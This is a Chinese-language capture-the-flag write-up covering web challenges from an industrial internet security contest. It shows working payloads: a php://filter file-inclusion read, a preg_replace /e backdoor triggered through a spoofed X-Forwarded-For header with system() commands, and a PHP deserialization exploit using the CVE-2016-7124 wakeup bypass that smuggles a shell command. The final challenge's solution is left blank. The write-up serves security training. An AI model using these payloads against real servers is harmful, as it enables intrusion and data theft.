赛博地球杯工业互联网安全大赛

WEB

大量设备报表不见了(签道题)

题目

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

http://120.27.14.73:20006/

Solution

报表中心有链接,url为

http://120.27.14.73:20006/index.php?id=1

尝试sql注入都没反应,猜测是爆破,用burpsuite或者写个脚本,当id=2333时出现flag

image

工控云管理系统设备维护中心被植入后门

题目

其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
http://47.104.74.209:20005

Solution

访问index.php?page=index 猜想文件包含漏洞

利用page参数和php伪协议读取源码
:
index.php?page=php://filter/read=convert.base64-encode/resource=index.php

得到index.php源码

1
2
3
4
5
6
7
8
9
10
11
    if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}

payload: 存在后门,添加头部和对应GET字段。

  • X-Forwarded-For: 127.0.0.1;
  • ?pat=/test/e&rep=system(‘ls’)&sub=aa

    使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行

    发现一个目录s3chahahaDir,之后还有一个目录flag,里面有flag.php

    payload: final

  • ?pat=/test/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=aa

得到flag

flag{SecuriTY_Preg_eee3}

工控系统的敏感消息遭泄漏

题目

云平台消息中心,泄漏了不该泄漏的消息。导致系统可以被入侵。
http://47.104.99.231:20003/

Solution

发现git源码泄漏,用githack获取源码进行审计

githack链接说明使用

index2.php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$secret = $_GET['secret'];
$ad = $_GET['ad'];
if(isset($ad)){
if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)
{
echo '<script>alert("Sorry ! Again !")</script>';
}
elseif(strpos($ad, '--') !== FALSE)
{
echo "Ok Evrything will be fine!<br ><br >";
if (stripos($secret, './') > 0) {
die();
}
unserialize($secret);
}
else
{
echo '<script>alert("Sorry ! You must have --")</script>';
}
}

ereg用%00截断ad=a%00–

class.php代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
error_reporting(0);

class Record{
public $file="Welcome";

public function __construct($file)
{
$this->file = $file;
}

public function __sleep()
{
$this->file = 'sleep.txt';
return array('file');
}

public function __wakeup()
{
$this->file = 'wakeup.txt';
}

public function __destruct()
{
if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
system("php ./import/$this->file.php");
}else{
echo "<?php Something destroyed ?>";
}
}


}

$b =new Record('Welcome');
unset($b);

php反序列化漏洞绕过魔术方法

反序列化时wakeup方法的调用会设置file为wakeup.txt,CVE-2016-7124中提到可以如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得wakeup失效

payload:

/index2.php?file=Flag&ad[]=–&secret=O:6:”Record”:2:{s:4:”file”;s:50:”p.php||tac /var/www/html/import/Flag.php ||echo 1”;}

工控管理系统新版本

题目

云工控管理系统新添加的登录和注册页面存在漏洞,请找出flag。
http://47.104.1.173:20004/

Solution

文章目录
  1. 1. WEB
  2. 2. 大量设备报表不见了(签道题)
    1. 2.1. 题目
    2. 2.2. Solution
  3. 3. 工控云管理系统设备维护中心被植入后门
    1. 3.1. 题目
    2. 3.2. Solution
      1. 3.2.1. payload: 存在后门,添加头部和对应GET字段。
    3. 3.3. payload: final
      1. 3.3.1. 得到flag
  4. 4. 工控系统的敏感消息遭泄漏
    1. 4.1. 题目
    2. 4.2. Solution
      1. 4.2.1. payload:
  5. 5. 工控管理系统新版本
    1. 5.1. 题目
    2. 5.2. Solution
,